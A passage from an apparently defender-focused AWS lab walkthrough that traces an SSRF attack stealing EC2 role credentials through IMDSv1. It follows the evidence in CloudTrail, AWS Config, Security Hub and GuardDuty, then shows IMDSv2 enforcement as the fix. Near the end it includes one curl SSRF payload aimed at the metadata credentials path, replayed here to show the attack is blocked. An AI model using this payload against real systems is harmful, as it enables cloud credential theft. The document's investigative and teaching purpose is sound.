Why: Use this step to confirm the current evidence before moving on: Determine whether the acquired temporary session was used to identify its AWS principal.
Expected evidence: The highlighted GetCallerIdentity control or evidence is visible.
Next pivot: Continue to GetCallerIdentity.
7. Select the matching event row and use its enabled expander. Open GetCallerIdentity. This matters because it preserves the declared investigation path: Determine whether the acquired temporary session was used to identify its AWS principal. - 8detail
GetCallerIdentity
Click: GetCallerIdentity
Inspect the full JSON and correlate the action, principal and source fields inside the unchanged time window. Open GetCallerIdentity.
Why: Use this step to confirm the current evidence before moving on: Determine whether the acquired temporary session was used to identify its AWS principal.
Expected evidence: The correlated GetCallerIdentity event and its full CloudTrail JSON are visible.
Next pivot: Correlate run_id, action_id, event_name, principal_id, source_ip with the next evidence source.
8. Inspect the full JSON and correlate the action, principal and source fields inside the unchanged time window. Open GetCallerIdentity. This matters because it preserves the declared investigation path: Determine whether the acquired temporary session was used to identify its AWS principal.
CloudTrail shows that the temporary role session identified its AWS principal before any later action. Expected state: The correlated GetCallerIdentity event and its full CloudTrail JSON are visible.
The IMDS response supplied the role name and GetCallerIdentity established the current-run temporary principal.
- 1entry
Event history
Click: Event history
Open the CloudTrail service in us-east-1, where global IAM management events are recorded. Open Event history.
Why: Use this step to confirm the current evidence before moving on: The IMDS response supplied the role name and GetCallerIdentity established the current-run temporary principal.
Expected evidence: The highlighted Event history control or evidence is visible.
Next pivot: Continue to Event history.
1. Open the CloudTrail service in us-east-1, where global IAM management events are recorded. Open Event history. This matters because it preserves the declared investigation path: The IMDS response supplied the role name and GetCallerIdentity established the current-run temporary principal. - 2navigation
Event history
Click: Event history
Choose Event history while keeping the immutable qualification window as the investigation boundary. Open Event history.
Why: Use this step to confirm the current evidence before moving on: Confirm the permissions context of the exact role name already observed from IMDS without enumerating unrelated roles.
Expected evidence: The highlighted Event history control or evidence is visible.
Next pivot: Continue to Event ID.
2. Choose Event history while keeping the immutable qualification window as the investigation boundary. Open Event history. This matters because it preserves the declared investigation path: Confirm the permissions context of the exact role name already observed from IMDS without enumerating unrelated roles. - 3selection
Event ID
Click: Event ID
Select Event ID as the lookup attribute. Open Event ID.
Why: Use this step to confirm the current evidence before moving on: Global IAM management events are recorded in us-east-1 rather than the lab's regional CloudWatch delivery stream. Filter Event History by the exact GetRole event ID already proved in the bounded raw evidence so unrelated role reads are excluded.
Expected evidence: The highlighted Event ID control or evidence is visible.
Next pivot: Paste the exact current-run GetRole Event ID from the evidence record.
3. Select Event ID as the lookup attribute. Open Event ID. This matters because it preserves the declared investigation path: Global IAM management events are recorded in us-east-1 rather than the lab's regional CloudWatch delivery stream. Filter Event History by the exact GetRole event ID already proved in the bounded raw evidence so unrelated role reads are excluded. - 4filter
Filter to the run-bound GetRole event
Click: Event ID filter value
Paste the exact current-run GetRole Event ID into the Event ID filter value, then open the single matching GetRole result.
Why: Use this step to confirm the current evidence before moving on: Global IAM management events are recorded in us-east-1 rather than the lab's regional CloudWatch delivery stream. Filter Event History by the exact GetRole event ID already proved in the bounded raw evidence so unrelated role reads are excluded.
Expected evidence: The filter returns one GetRole event from the current qualification run.
Next pivot: Open the matching GetRole event.
4. Paste the exact current-run GetRole Event ID into the Event ID filter value and confirm the one result is GetRole rather than an unrelated event. The published screenshot uses a stable pseudonym for that run-specific value. This matters because filtering to the exact current-run event excludes unrelated role reads; global IAM management events are recorded in us-east-1. - 5evidence
GetRole
Click: GetRole
Open the GetRole row. Open GetRole.
Why: Use this step to confirm the current evidence before moving on: Confirm the permissions context of the exact role name already observed from IMDS without enumerating unrelated roles.
Expected evidence: The highlighted GetRole control or evidence is visible.
Next pivot: Continue to Event record.
5. Open the GetRole row. Open GetRole. This matters because it preserves the declared investigation path: Confirm the permissions context of the exact role name already observed from IMDS without enumerating unrelated roles. - 6detail
Event record
Click: Event record
Inspect Event record and correlate credentialsIssuedTo, the principal, source and exact compromised role path. Open Event record.
Why: Use this step to confirm the current evidence before moving on: Confirm the permissions context of the exact role name already observed from IMDS without enumerating unrelated roles.
Expected evidence: The exact run-bound GetRole event is visible, with its Event record JSON open.
Next pivot: Correlate run_id, action_id, event_name, principal_id, source_ip with the next evidence source.
6. Inspect Event record and correlate credentialsIssuedTo, the principal, source and exact compromised role path. Open Event record. This matters because it preserves the declared investigation path: Confirm the permissions context of the exact role name already observed from IMDS without enumerating unrelated roles.
The following CloudTrail event proves the temporary session inspected the exact compromised role name already returned by IMDS. Expected state: The exact run-bound GetRole event is visible, with its Event record JSON open.
Delivered application JavaScript exposed the archive bucket and prefix; GetRole confirmed the compromised role that will use them.
- 1entry
CloudWatch
Click: CloudWatch
Return to the CloudWatch service landing page for the data-access pivot. Open CloudWatch.
Why: Use this step to confirm the current evidence before moving on: Delivered application JavaScript exposed the archive bucket and prefix; GetRole confirmed the compromised role that will use them.
Expected evidence: The highlighted CloudWatch control or evidence is visible.
Next pivot: Continue to Logs.
1. Return to the CloudWatch service landing page for the data-access pivot. Open CloudWatch. This matters because it preserves the declared investigation path: Delivered application JavaScript exposed the archive bucket and prefix; GetRole confirmed the compromised role that will use them. - 2navigation
Logs
Click: Logs
Expand Logs, then choose Log Management and open the current-run CloudTrail log group. Click Logs.
Why: Use this step to confirm the current evidence before moving on: Follow the temporary principal as it applies the archive location observed during application reconnaissance to synthetic object discovery and access.
Expected evidence: The highlighted Logs control or evidence is visible.
Next pivot: Continue to Log Management.
2. Expand Logs, then choose Log Management and open the current-run CloudTrail log group. Click Logs. This matters because it preserves the declared investigation path: Follow the temporary principal as it applies the archive location observed during application reconnaissance to synthetic object discovery and access. - 3navigation
Log Management
Click: Log Management
Expand Logs, then choose Log Management and open the current-run CloudTrail log group. Click Log Management.
Why: Use this step to confirm the current evidence before moving on: Follow the temporary principal as it applies the archive location observed during application reconnaissance to synthetic object discovery and access.
Expected evidence: The highlighted Log Management control or evidence is visible.
Next pivot: Continue to /external-threat-mapping/incident-lab/northwind-range-review/cloudtrail.
3. Expand Logs, then choose Log Management and open the current-run CloudTrail log group. Click Log Management. This matters because it preserves the declared investigation path: Follow the temporary principal as it applies the archive location observed during application reconnaissance to synthetic object discovery and access. - 4selection
/external-threat-mapping/incident-lab/northwind-range-review/cloudtrail
Click: /external-threat-mapping/incident-lab/northwind-range-review/cloudtrail
Choose Search all log streams inside the unchanged qualification window. Click /external-threat-mapping/incident-lab/northwind-range-review/cloudtrail.
Why: Use this step to confirm the current evidence before moving on: Follow the temporary principal as it applies the archive location observed during application reconnaissance to synthetic object discovery and access.
Expected evidence: The highlighted /external-threat-mapping/incident-lab/northwind-range-review/cloudtrail control or evidence is visible.
Next pivot: Continue to Search all log streams.
4. Choose Search all log streams inside the unchanged qualification window. Click /external-threat-mapping/incident-lab/northwind-range-review/cloudtrail. This matters because it preserves the declared investigation path: Follow the temporary principal as it applies the archive location observed during application reconnaissance to synthetic object discovery and access. - 5selection
Search all log streams
Click: Search all log streams
Choose Search all log streams inside the unchanged qualification window. Click Search all log streams.
Why: Use this step to confirm the current evidence before moving on: Follow the temporary principal as it applies the archive location observed during application reconnaissance to synthetic object discovery and access.
Expected evidence: The highlighted Search all log streams control or evidence is visible.
Next pivot: Continue to current-instance-credential-events.
5. Choose Search all log streams inside the unchanged qualification window. Click Search all log streams. This matters because it preserves the declared investigation path: Follow the temporary principal as it applies the archive location observed during application reconnaissance to synthetic object discovery and access. - 6filter
current-instance-credential-events
Click: current-instance-credential-events
Filter for credentials issued to the selected EC2 instance to isolate the stolen session's activity. Open current-instance-credential-events.
Why: Use this step to confirm the current evidence before moving on: Filter for events whose credentialsIssuedTo field names the current EC2 instance so unrelated principals are excluded before selecting ListObjects and GetObject.
Expected evidence: The highlighted current-instance-credential-events control or evidence is visible.
Next pivot: Continue to ListObjects, GetObject.
6. Filter for credentials issued to the selected EC2 instance to isolate the stolen session's activity. Open current-instance-credential-events. This matters because it preserves the declared investigation path: Filter for events whose credentialsIssuedTo field names the current EC2 instance so unrelated principals are excluded before selecting ListObjects and GetObject. - 7evidence
ListObjects, GetObject
Click: ListObjects, GetObject
Select the matching ListObjects event, then the matching GetObject event. Open ListObjects, GetObject.
Why: Use this step to confirm the current evidence before moving on: Follow the temporary principal as it applies the archive location observed during application reconnaissance to synthetic object discovery and access.
Expected evidence: The highlighted ListObjects, GetObject control or evidence is visible.
Next pivot: Continue to GetObject.
7. Select the matching ListObjects event, then the matching GetObject event. Open ListObjects, GetObject. This matters because it preserves the declared investigation path: Follow the temporary principal as it applies the archive location observed during application reconnaissance to synthetic object discovery and access. - 8detail
GetObject
Click: GetObject
Open the GetObject detail and correlate the principal, synthetic bucket and object key. Open GetObject.
Why: Use this step to confirm the current evidence before moving on: Follow the temporary principal as it applies the archive location observed during application reconnaissance to synthetic object discovery and access.
Expected evidence: ListObjects and GetObject events for the temporary role session are visible.
Next pivot: Correlate run_id, action_id, principal_id, event_name, bucket_name, object_key with the next evidence source.
8. Open the GetObject detail and correlate the principal, synthetic bucket and object key. Open GetObject. This matters because it preserves the declared investigation path: Follow the temporary principal as it applies the archive location observed during application reconnaissance to synthetic object discovery and access.
The run-bound data events show the attacker using the archive bucket and prefix discovered earlier in delivered application JavaScript, then reading only the synthetic object. Expected state: ListObjects and GetObject events for the temporary role session are visible.
Defender view: posture and control findings
AWS Config evaluates whether the instance requires IMDSv2 [3]. Security Hub EC2.8 surfaces the related EC2 control state [6]. These are posture findings: they explain why the path is possible, while the application and CloudTrail events show what happened.
The EC2 configuration view established that IMDSv2 was Optional on the target.
- 1entry
AWS Config
Click: AWS Config
Open AWS Config from the service menu. Open AWS Config.
Why: Use this step to confirm the current evidence before moving on: The EC2 configuration view established that IMDSv2 was Optional on the target.
Expected evidence: The highlighted AWS Config control or evidence is visible.
Next pivot: Continue to Rules.
1. Open AWS Config from the service menu. Open AWS Config. This matters because it preserves the declared investigation path: The EC2 configuration view established that IMDSv2 was Optional on the target. - 2navigation
Rules
Click: Rules
Choose Rules from the AWS Config navigation. Click Rules.
Why: Use this step to confirm the current evidence before moving on: Confirm that an independent configuration control identifies the same IMDSv1 exposure used by the attack path.
Expected evidence: The highlighted Rules control or evidence is visible.
Next pivot: Continue to Noncompliant.
2. Choose Rules from the AWS Config navigation. Click Rules. This matters because it preserves the declared investigation path: Confirm that an independent configuration control identifies the same IMDSv1 exposure used by the attack path. - 3filter
Noncompliant
Click: Noncompliant
Filter to the current-run IMDSv2 rule and Noncompliant evaluations. Open Noncompliant.
Why: Use this step to confirm the current evidence before moving on: Select the readable current-run IMDSv2 rule pseudonym and its single noncompliant resource.
Expected evidence: The highlighted Noncompliant control or evidence is visible.
Next pivot: Continue to etm-lab-imdsv2-northwind-range-review.
3. Filter to the current-run IMDSv2 rule and Noncompliant evaluations. Open Noncompliant. This matters because it preserves the declared investigation path: Select the readable current-run IMDSv2 rule pseudonym and its single noncompliant resource. - 4selection
etm-lab-imdsv2-northwind-range-review
Click: etm-lab-imdsv2-northwind-range-review
Select the readable current-run IMDSv2 rule pseudonym rather than a blurred rule name. Click etm-lab-imdsv2-northwind-range-review.
Why: Use this step to confirm the current evidence before moving on: Confirm that an independent configuration control identifies the same IMDSv1 exposure used by the attack path.
Expected evidence: The highlighted etm-lab-imdsv2-northwind-range-review control or evidence is visible.
Next pivot: Continue to etm-lab-imdsv2-northwind-range-review, Noncompliant.
4. Select the readable current-run IMDSv2 rule pseudonym rather than a blurred rule name. Click etm-lab-imdsv2-northwind-range-review. This matters because it preserves the declared investigation path: Confirm that an independent configuration control identifies the same IMDSv1 exposure used by the attack path. - 5evidence
etm-lab-imdsv2-northwind-range-review, Noncompliant
Click: etm-lab-imdsv2-northwind-range-review, Noncompliant
Choose its visible enabled noncompliant resource row. Open etm-lab-imdsv2-northwind-range-review, Noncompliant.
Why: Use this step to confirm the current evidence before moving on: Confirm that an independent configuration control identifies the same IMDSv1 exposure used by the attack path.
Expected evidence: The highlighted etm-lab-imdsv2-northwind-range-review, Noncompliant control or evidence is visible.
Next pivot: Continue to target-instance.
5. Choose its visible enabled noncompliant resource row. Open etm-lab-imdsv2-northwind-range-review, Noncompliant. This matters because it preserves the declared investigation path: Confirm that an independent configuration control identifies the same IMDSv1 exposure used by the attack path. - 6detail
target-instance
Click: target-instance
Keep the rule description and selected target row together so the HttpTokens=optional logic and Noncompliant resource remain visible. Open target-instance.
Why: Use this step to confirm the current evidence before moving on: Confirm that an independent configuration control identifies the same IMDSv1 exposure used by the attack path.
Expected evidence: The run-bound rule and target resource are Noncompliant.
Next pivot: Correlate run_id, config_rule_name, target_instance_id, compliance_type with the next evidence source.
6. Keep the rule description and selected target row together so the HttpTokens=optional logic and Noncompliant resource remain visible. Open target-instance. This matters because it preserves the declared investigation path: Confirm that an independent configuration control identifies the same IMDSv1 exposure used by the attack path.
AWS Config independently identifies that IMDSv2 is not enforced on the target. Expected state: The run-bound rule and target resource are Noncompliant.
AWS Config independently marked the target's IMDSv2 setting noncompliant.
- 1entry
Security Hub
Click: Security Hub
Open Security Hub CSPM from the service menu. Open Security Hub.
Why: Use this step to confirm the current evidence before moving on: AWS Config independently marked the target's IMDSv2 setting noncompliant.
Expected evidence: The highlighted Security Hub control or evidence is visible.
Next pivot: Continue to Security standards.
1. Open Security Hub CSPM from the service menu. Open Security Hub. This matters because it preserves the declared investigation path: AWS Config independently marked the target's IMDSv2 setting noncompliant. - 2navigation
Security standards
Click: Security standards
Choose Security standards, then choose View results for AWS Foundational Security Best Practices v1.0.0. Click Security standards.
Why: Use this step to confirm the current evidence before moving on: Check whether the unsafe metadata configuration is also represented as an actionable security-posture finding.
Expected evidence: The highlighted Security standards control or evidence is visible.
Next pivot: Continue to View results.
2. Choose Security standards, then choose View results for AWS Foundational Security Best Practices v1.0.0. Click Security standards. This matters because it preserves the declared investigation path: Check whether the unsafe metadata configuration is also represented as an actionable security-posture finding. - 3selection
View results
Click: View results
Open control EC2.8 and confirm the control heading before filtering its checks. Click View results.
Why: Use this step to confirm the current evidence before moving on: Check whether the unsafe metadata configuration is also represented as an actionable security-posture finding.
Expected evidence: The highlighted View results control or evidence is visible.
Next pivot: Continue to EC2.8.
3. Open control EC2.8 and confirm the control heading before filtering its checks. Click View results. This matters because it preserves the declared investigation path: Check whether the unsafe metadata configuration is also represented as an actionable security-posture finding. - 4selection
EC2.8
Click: EC2.8
Open control EC2.8 and confirm the control heading before filtering its checks. Open EC2.8.
Why: Use this step to confirm the current evidence before moving on: Check whether the unsafe metadata configuration is also represented as an actionable security-posture finding.
Expected evidence: The highlighted EC2.8 control or evidence is visible.
Next pivot: Continue to failed-checks.
4. Open control EC2.8 and confirm the control heading before filtering its checks. Open EC2.8. This matters because it preserves the declared investigation path: Check whether the unsafe metadata configuration is also represented as an actionable security-posture finding. - 5filter
failed-checks
Click: failed-checks
Choose Failed in the EC2.8 compliance panel; the run-bound API evidence confirms the sole failed row belongs to the target instance. Open failed-checks.
Why: Use this step to confirm the current evidence before moving on: Choose Failed in the EC2.8 compliance panel, then open the sole failed row that the run-bound API evidence correlates to the target instance.
Expected evidence: The highlighted failed-checks control or evidence is visible.
Next pivot: Continue to EC2.8, Failed.
5. Choose Failed in the EC2.8 compliance panel; the run-bound API evidence confirms the sole failed row belongs to the target instance. Open failed-checks. This matters because it preserves the declared investigation path: Choose Failed in the EC2.8 compliance panel, then open the sole failed row that the run-bound API evidence correlates to the target instance. - 6evidence
EC2.8, Failed
Click: EC2.8, Failed
Select the correlated failed finding row. Open EC2.8, Failed.
Why: Use this step to confirm the current evidence before moving on: Check whether the unsafe metadata configuration is also represented as an actionable security-posture finding.
Expected evidence: The highlighted EC2.8, Failed control or evidence is visible.
Next pivot: Continue to Resource details.
6. Select the correlated failed finding row. Open EC2.8, Failed. This matters because it preserves the declared investigation path: Check whether the unsafe metadata configuration is also represented as an actionable security-posture finding. - 7detail
Resource details
Click: Resource details
Open Finding details, then the affected Resource view. Open Resource details.
Why: Use this step to confirm the current evidence before moving on: Check whether the unsafe metadata configuration is also represented as an actionable security-posture finding.
Expected evidence: EC2.8 is Failed for the correlated target instance.
Next pivot: Correlate run_id, control_id, target_instance_id, finding_id, workflow_status with the next evidence source.
7. Open Finding details, then the affected Resource view. Open Resource details. This matters because it preserves the declared investigation path: Check whether the unsafe metadata configuration is also represented as an actionable security-posture finding.
Security Hub control EC2.8 turns the unsafe metadata setting into a security-posture finding. Expected state: EC2.8 is Failed for the correlated target instance.
Defender view: investigate the two GuardDuty findings
The same Range run produced two relevant GuardDuty findings. InstanceCredentialExfiltration.OutsideAWS detected the EC2 role credential being used away from its instance. PenTest:IAMUser/KaliLinux identified GetRole from the Kali AWS client. Filter by each exact finding ID, investigate them separately and correlate both to the same role, time window and CloudTrail events [5]. Historical findings remain retained evidence; they are not part of this run.
PenTest:IAMUser/KaliLinux is not a duplicate of the credential-exfiltration finding. It identifies GetRole from the Kali client. The recording filters to that exact finding ID after completing the first drawer, then correlates it with the CloudTrail GetRole event. Both findings are shown in the Range journey diagram as D01 and D10.
CloudTrail proved the temporary role performed identity and synthetic S3 actions away from the instance path.
- 1entry
GuardDuty
Click: GuardDuty
Open the GuardDuty service landing page. Open GuardDuty.
Why: Use this step to confirm the current evidence before moving on: CloudTrail proved the temporary role performed identity and synthetic S3 actions away from the instance path.
Expected evidence: The highlighted GuardDuty control or evidence is visible.
Next pivot: Continue to Findings.
1. Open the GuardDuty service landing page. Open GuardDuty. This matters because it preserves the declared investigation path: CloudTrail proved the temporary role performed identity and synthetic S3 actions away from the instance path. - 2navigation
Findings
Click: Findings
Choose Findings from the GuardDuty navigation. Click Findings.
Why: Use this step to confirm the current evidence before moving on: Determine whether off-instance use of the temporary EC2 role produced a current-run threat finding.
Expected evidence: The highlighted Findings control or evidence is visible.
Next pivot: Continue to 0123456789abcdef0123456789abcdef.
2. Choose Findings from the GuardDuty navigation. Click Findings. This matters because it preserves the declared investigation path: Determine whether off-instance use of the temporary EC2 role produced a current-run threat finding. - 3filter
0123456789abcdef0123456789abcdef
Click: 0123456789abcdef0123456789abcdef
Filter for the readable current-run finding pseudonym inside the unchanged qualification window. Open 0123456789abcdef0123456789abcdef.
Why: Use this step to confirm the current evidence before moving on: Filter for the current-run finding pseudonym; never select the unrelated or disabled Actions control.
Expected evidence: The highlighted 0123456789abcdef0123456789abcdef control or evidence is visible.
Next pivot: Continue to UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration.OutsideAWS.
3. Filter for the readable current-run finding pseudonym inside the unchanged qualification window. Open 0123456789abcdef0123456789abcdef. This matters because it preserves the declared investigation path: Filter for the current-run finding pseudonym; never select the unrelated or disabled Actions control. - 4selection
UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration.OutsideAWS
Click: UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration.OutsideAWS
Select the visible enabled finding title link or row; do not select the grey Actions control. Open UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration.OutsideAWS.
Why: Use this step to confirm the current evidence before moving on: Determine whether off-instance use of the temporary EC2 role produced a current-run threat finding.
Expected evidence: The highlighted UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration.OutsideAWS control or evidence is visible.
Next pivot: Continue to Overview.
4. Select the visible enabled finding title link or row; do not select the grey Actions control. Open UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration.OutsideAWS. This matters because it preserves the declared investigation path: Determine whether off-instance use of the temporary EC2 role produced a current-run threat finding. - 5evidence
Overview
Click: Overview
Open the finding and review Overview, Resource affected, Action and Actor in order. Open Overview.
Why: Use this step to confirm the current evidence before moving on: Determine whether off-instance use of the temporary EC2 role produced a current-run threat finding.
Expected evidence: The highlighted Overview control or evidence is visible.
Next pivot: Continue to Resource affected.
5. Open the finding and review Overview, Resource affected, Action and Actor in order. Open Overview. This matters because it preserves the declared investigation path: Determine whether off-instance use of the temporary EC2 role produced a current-run threat finding. - 6detail
Resource affected
Click: Resource affected
Correlate the finding, principal, instance and source fields back to the CloudTrail events. Open Resource affected.
Why: Use this step to confirm the current evidence before moving on: Determine whether off-instance use of the temporary EC2 role produced a current-run threat finding.
Expected evidence: The highlighted Resource affected control or evidence is visible.
Next pivot: Continue to Action.
6. Correlate the finding, principal, instance and source fields back to the CloudTrail events. Open Resource affected. This matters because it preserves the declared investigation path: Determine whether off-instance use of the temporary EC2 role produced a current-run threat finding. - 7detail
Action
Click: Action
Correlate the finding, principal, instance and source fields back to the CloudTrail events. Open Action.
Why: Use this step to confirm the current evidence before moving on: Determine whether off-instance use of the temporary EC2 role produced a current-run threat finding.
Expected evidence: The highlighted Action control or evidence is visible.
Next pivot: Continue to Actor.
7. Correlate the finding, principal, instance and source fields back to the CloudTrail events. Open Action. This matters because it preserves the declared investigation path: Determine whether off-instance use of the temporary EC2 role produced a current-run threat finding. - 8detail
Actor
Click: Actor
Correlate the finding, principal, instance and source fields back to the CloudTrail events. Open Actor.
Why: Use this step to confirm the current evidence before moving on: Determine whether off-instance use of the temporary EC2 role produced a current-run threat finding.
Expected evidence: When observed, the finding overview, affected resource, action and actor are visible.
Next pivot: Correlate run_id, finding_id, finding_type, principal_id, target_instance_id, source_ip with the next evidence source.
8. Correlate the finding, principal, instance and source fields back to the CloudTrail events. Open Actor. This matters because it preserves the declared investigation path: Determine whether off-instance use of the temporary EC2 role produced a current-run threat finding.
A current-run credential-exfiltration finding adds threat context, but its absence must be reported rather than replaced with sample data. Expected state: When observed, the finding overview, affected resource, action and actor are visible.
Mitigation: break the chain and prove the secure result
The efficient comparison deploys the isolated Range and Secure counterparts together, then exercises them one after the other. Both use the same scenario commit and semantic request. The Range success is captured first; the Secure replay must stop at IMDSv2 before any credential or attacker AWS action exists.
Validate the final outbound destination
Revalidate after every rewrite and redirect. Deny link-local, loopback, private and metadata destinations unless the application explicitly needs them.
Require IMDSv2
Set metadata tokens to required and enforce the setting through the normal account and infrastructure baseline [1] [2] [3].
Reduce the instance role
Grant only the exact actions and resources the workload requires, or remove the role when it is unnecessary.
The application and request do not change between the two targets. The enforcing Terraform difference is one EC2 metadata option: the vulnerable target permits tokenless IMDSv1 requests, while the secure target requires an IMDSv2 session token.
Tokenless metadata requests are accepted.
metadata_options {
http_endpoint = "enabled"
http_put_response_hop_limit = 1
http_tokens = "optional"
}The same tokenless request is rejected.
metadata_options {
http_endpoint = "enabled"
http_put_response_hop_limit = 1
http_tokens = "required"
}The replay below is the same action-2 method, path, headers and metadata destination. Only the isolated Secure application origin changes.
curl -i -sS \
-H 'Content-Type: application/json' \
-H 'X-Original-URL: /internal/preview' \
-d '{"target_url":"http://169.254.169.254/latest/meta-data/iam/security-credentials/"}' \
http://member-documents-secure.northwind.test:8001/api/previewThe Range replay acquired a temporary role credential because the vulnerable target admitted the tokenless metadata request. Inspect the isolated Secure counterpart before replaying that same request.
- 1entry
Open the Secure account EC2 service
Click: EC2
Open EC2 in Europe (London).
Why: Open the live service to confirm the mitigation against the actual Secure target, not Terraform or an empty post-teardown page.
Expected evidence: The real EC2 service landing page is visible.
Next pivot: Open the instance inventory.
1. Open EC2 because the mitigation must be checked in the isolated Secure account and Europe (London) region. - 2navigation
Open Instances
Click: Instances
Choose Instances from the EC2 navigation.
Why: Choose this inventory to identify the run-bound Secure target.
Expected evidence: The Instances link is the visible enabled navigation target.
Next pivot: Filter to the run-bound target.
2. Choose Instances so that the run-bound Secure target can be selected. - 3filter
Filter to the Secure target
Click: instance filter
Use the instance filter with the stable review identifier.
Why: Use the filter to identify only the qualification target.
Expected evidence: One run-bound target remains in the filtered inventory.
Next pivot: Select that target.
3. Use the instance filter so that only the run-bound Secure target remains. - 4selection
Select the Secure target
Click: target-instance
Select the visible target-instance row to open its instance summary.
Why: Select it to confirm the metadata configuration on this exact instance.
Expected evidence: The selected row opens the target instance summary.
Next pivot: Open the Details tab.
4. Select target-instance so that its run-bound instance summary opens. - 5detail
Open the instance Details tab
Click: Details
Open Details in the instance summary.
Why: Open it to identify the enforced metadata version in the instance details.
Expected evidence: The Details tab is open and IMDSv2 is visible.
Next pivot: Read the IMDSv2 value.
5. Open Details because the clean Console frame leaves IMDSv2 and its value readable. - 6evidence
Confirm IMDSv2 is Required
Click: IMDSv2
Use the IMDSv2 field and read its value.
Why: Read it to confirm the control that rejects the same tokenless IMDSv1 request used successfully against the Range target [1] [2].
Expected evidence: IMDSv2 is visibly set to Required.
Next pivot: Replay the identical request and check the prevention verdict.
6. Use IMDSv2 to confirm that the real Secure target shows Required.
The Secure target showed IMDSv2 Required. The identical tokenless replay stopped at the metadata request, acquired no credential, executed zero attacker AWS actions, and the isolated run was removed.
Next stepReplay the identical semantic request against the isolated Secure counterpart.
Next stepConfirm the same request is blocked before credential acquisition.
ObservedPASS: CHAIN_BLOCKED_BY_IMDSV2, credential_acquired=false and attacker_aws_actions_executed=0.
Next stepUse the retained teardown and state proofs to confirm the Secure counterpart was removed.
Follow the complete practice lab
References
Numbered sources support the practical points in this article. Video timestamps will appear when the related media is published.
- Add defense in depth against open firewalls, reverse proxies, and SSRF vulnerabilities with enhancements to the EC2 Instance Metadata Servicehttps://aws.amazon.com/blogs/security/defense-in-depth-open-firewalls-reverse-proxies-ssrf-vulnerabilities-ec2-instance-metadata-service/
AWS explains why IMDSv2 adds session-oriented protection against common SSRF and proxy paths.
- Configure the instance metadata optionshttps://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-options.html
AWS guidance for IMDS endpoint and token settings.
- EC2 instances should use Instance Metadata Service Version 2https://docs.aws.amazon.com/config/latest/developerguide/ec2-imdsv2-check.html
Definition of the managed EC2_IMDSV2_CHECK rule used by the lab.
- Logging Amazon S3 API calls using AWS CloudTrailhttps://docs.aws.amazon.com/AmazonS3/latest/userguide/cloudtrail-logging-s3-info.html
Explains management and object-level S3 data events.
- Active GuardDuty finding typeshttps://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-active.html
Finding catalogue used to describe observed GuardDuty results.
- Security Hub controls for Amazon EC2https://docs.aws.amazon.com/securityhub/latest/userguide/ec2-controls.html
Definitions for the EC2.8 and EC2.9 controls discussed in the walkthrough.
- Fortinet Incident Response on SSRF Attack in AWS Environmenthttps://community.fortinet.com/blogs-103/fortinet-incident-response-on-ssrf-attack-in-aws-environment-204029
An anonymised 2025 incident-response account describing a public-facing application SSRF, IMDSv1 credential exposure, CloudTrail investigation and IMDSv2 remediation.
- Annual Threat Report 2024https://expel.com/wp-content/uploads/2024/01/Annual-Threat-Report-2024.pdf
Expel reports that SSRF represented 28% of the cloud incidents its SOC observed in 2023 and describes attempts to retrieve EC2 role credentials from IMDS.